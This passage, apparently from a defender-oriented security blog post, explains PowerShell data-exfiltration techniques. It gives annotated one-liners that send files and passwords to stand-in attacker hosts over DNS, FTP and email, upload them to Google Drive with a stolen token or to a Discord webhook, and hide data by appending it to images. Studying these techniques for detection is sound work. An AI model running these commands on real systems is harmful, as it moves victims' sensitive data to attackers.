    $Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("Sensitive data")) Resolve-DnsName -Name "$Data.attacker.com" -Type TXT

    ```
    • [Convert]::ToBase64String(...) encodes the byte array to a Base64 string.
    • [Text.Encoding]::UTF8.GetBytes("Sensitive data") converts the string to a byte array using UTF-8 encoding.
    DNS Exfiltration: Resolve-DnsName -Name "$Data.attacker.com" -Type TXT

    • $Data.attacker.com forms a subdomain with the Base64-encoded data (e.g., U2Vuc2l0aXZlIGRhdGE.attacker.com).
    • Resolve-DnsName queries the DNS server for a TXT record, potentially alerting the attacker's server with the exfiltrated data.

    The data is encoded in Base64 and sent as part of a DNS query.
    The attacker’s server can then decode the data from the DNS request logs.

    3. FTP Exfiltration.

    Although less common due to its visibility, FTP can still be used for exfiltration, especially if the environment lacks strict network monitoring.

    Example Code:

    ```
    $File = "C:\Sensitive\report.docx" $Ftp = "ftp://attacker.com/upload/" $Username = "user" $Password = "pass" $WebClient = New-Object System.Net.WebClient $WebClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password) $WebClient.UploadFile($Ftp, $File)
    ```
    • $File = "C:\Sensitive\report.docx": Specifies the path of the file to be exfiltrated (e.g., a sensitive document).
    • $Ftp = "ftp://attacker.com/upload/": Specifies the FTP server and the upload directory controlled by the attacker.
    • $Username = "user" $Password = "pass" Sets the username and password for FTP authentication. These are likely credentials hardcoded by the attacker for accessing the FTP server.
    • $WebClient = New-Object System.Net.WebClient: Initializes a new instance of System.Net.WebClient to handle web requests (FTP in this case).
    • $WebClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)
    => Configures the WebClient with the FTP credentials using NetworkCredential.
    => Effect: The WebClient can now authenticate with the FTP server.
    • $WebClient.UploadFile($Ftp, $File)
    => Uploads the specified file ($File) to the attacker’s FTP server ($Ftp).
    => Effect: The file is exfiltrated from the local system to the attacker's server.

    4. Cloud-Based Exfiltration (OneDrive, Google Drive).

    Attackers can leverage cloud services for stealthy exfiltration.
    By using API calls to services like OneDrive or Google Drive, attackers can blend malicious activity with normal user behavior.

    Code Example:
    ```
    $Token = "Bearer <access_token>" $File = "C:\Sensitive\secret.xlsx" $UploadUri = "https://www.googleapis.com/upload/drive/v3/files?uploadType=media" $Headers = @{ "Authorization" = $Token } $Content = Get-Content -Path $File -Raw Invoke-RestMethod -Uri $UploadUri -Method POST -Headers $Headers -Body $Content
    ```
    • $Token = "Bearer <access_token>"
    1. Specifies the Authorization Token needed to authenticate the user with the Google API.
    2. The Bearer token is often used for OAuth 2.0 authentication, granting access to Google services (e.g., Google Drive).
    3. Example: <access_token> is the actual OAuth token, which should be securely retrieved and used in the script.
    • $File = "C:\Sensitive\secret.xlsx"
    1. Specifies the file to be uploaded. In this case, the file is "secret.xlsx" located at C:\Sensitive.
    • $UploadUri = "https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
    1. Specifies the Google Drive API endpoint for uploading a file.
    2. The uploadType=media query parameter indicates that the file content itself is being sent (not metadata).
    • $Headers = @{ "Authorization" = $Token }
    1. Creates a hashtable for the HTTP headers, where the Authorization header is set to the Bearer token.
    2. This header authenticates the request to the Google API.
    • $Content = Get-Content -Path $File -Raw
    1. Reads the file content (in this case, secret.xlsx) as raw data and stores it in $Content.
    2. The -Raw flag ensures the content is returned as a single string (which works for binary files like .xlsx).
    • Invoke-RestMethod -Uri $UploadUri -Method POST -Headers $Headers -Body $Content
    1. Performs the file upload via a POST request to the specified Google Drive API URI.
    2. The body of the request is the content of the file ($Content), and the headers include the Authorization token.
    3. Effect: The file is uploaded to Google Drive via the API.
    This script uploads a file to Google Drive using a stolen OAuth token, making the activity appear legitimate.

    5. Data Exfiltration Via Email Exfiltration.

    Sending data via email can be an effective method of exfiltration, especially if the email traffic is not closely monitored.

    Code Example:
    ```
    $EmailFrom = "attacker@domain.com" $EmailTo = "exfil@attacker.com" $Subject = "Exfiltrated Data" $Body = Get-Content "C:\Sensitive\passwords.txt" $SmtpServer = "smtp.domain.com" Send-MailMessage -From $EmailFrom -To $EmailTo -Subject $Subject -Body $Body -SmtpServer $SmtpServer
    ```

  • $EmailFrom: Sender’s email (potentially spoofed).
  • $EmailTo: Recipient’s email (the attacker’s email to receive the exfiltrated data).
  • $Subject: The subject of the email.
  • $Body: Content of the email body, in this case, the contents of a file containing sensitive data (passwords.txt).
  • $SmtpServer: SMTP server used to send the email.
  • Get-Content "C:\Sensitive\passwords.txt" reads the content of the specified file.
  • Send-MailMessage sends the email with the specified parameters.

  • 6 - Data Exfiltration Via Image Steganography.

    Attackers can hide data inside image files using PowerShell.
    This can be combined with an exfiltration method to transfer seemingly harmless images that contain sensitive data.

    Code Example:
    ``` $Data = [System.IO.File]::ReadAllBytes("C:\Sensitive\secret.txt") $Image = [System.IO.File]::ReadAllBytes("C:\Images\cover.png") $StegoImage = $Image + $Data [System.IO.File]::WriteAllBytes("C:\Images\exfil.png", $StegoImage) ```
  • $Data: Reads the entire content of "C:\Sensitive\secret.txt" as a byte array.
  • $Image: Reads the entire content of the image file "cover.png" as a byte array.
  • $StegoImage: Combines the image byte array ($Image) and the sensitive data byte array ($Data). This is a naive form of steganography, simply appending the data at the end of the image file.
  • [System.IO.File]::WriteAllBytes("C:\Images\exfil.png", $StegoImage): Creates a new file (exfil.png) that looks like a regular image but contains hidden data at the end.


  • This script appends the contents of a text file to an image file.

    The resulting image (exfil.png) can then be transferred without raising suspicion.

    7 - Data Exfiltration Via Slack or Discord.

    PowerShell can interact with APIs of popular communication platforms like Slack or Discord.
    By using these APIs, attackers can exfiltrate data disguised as chat messages or file uploads.

    Code Example:

    ```
    $WebhookUrl = "https://discord.com/api/webhooks/<webhook_id>" $Content = Get-Content -Path "C:\Sensitive\log.txt" $Payload = @{ "content" = $Content } | ConvertTo-Json Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType "application/json"

    ```
    • $WebhookUrl: URL of the Discord webhook where the attacker wants to send the data. The <webhook_id> should be replaced with a valid webhook ID and token.
    • $Content: Reads the contents of the file "C:\Sensitive\log.txt" into a variable.
    • $Payload: Creates a PowerShell hashtable with a key "content" and the value of $Content, which is then converted to JSON format using ConvertTo-Json.
    • Invoke-RestMethod: Sends an HTTP POST request to the Discord webhook URL with the JSON payload. The -ContentType is specified as "application/json".
    While PowerShell's flexibility is a boon for system administrators, it’s also a potent weapon in the hands of attackers.
    By understanding its dark side, defenders can better monitor and mitigate potential abuse, making their systems more resilient against sophisticated attacks.






    Comments

    Popular posts from this blog

    Common Network Commands: Ping

    Common Network Commands: Route

    Common Network Commands: IP R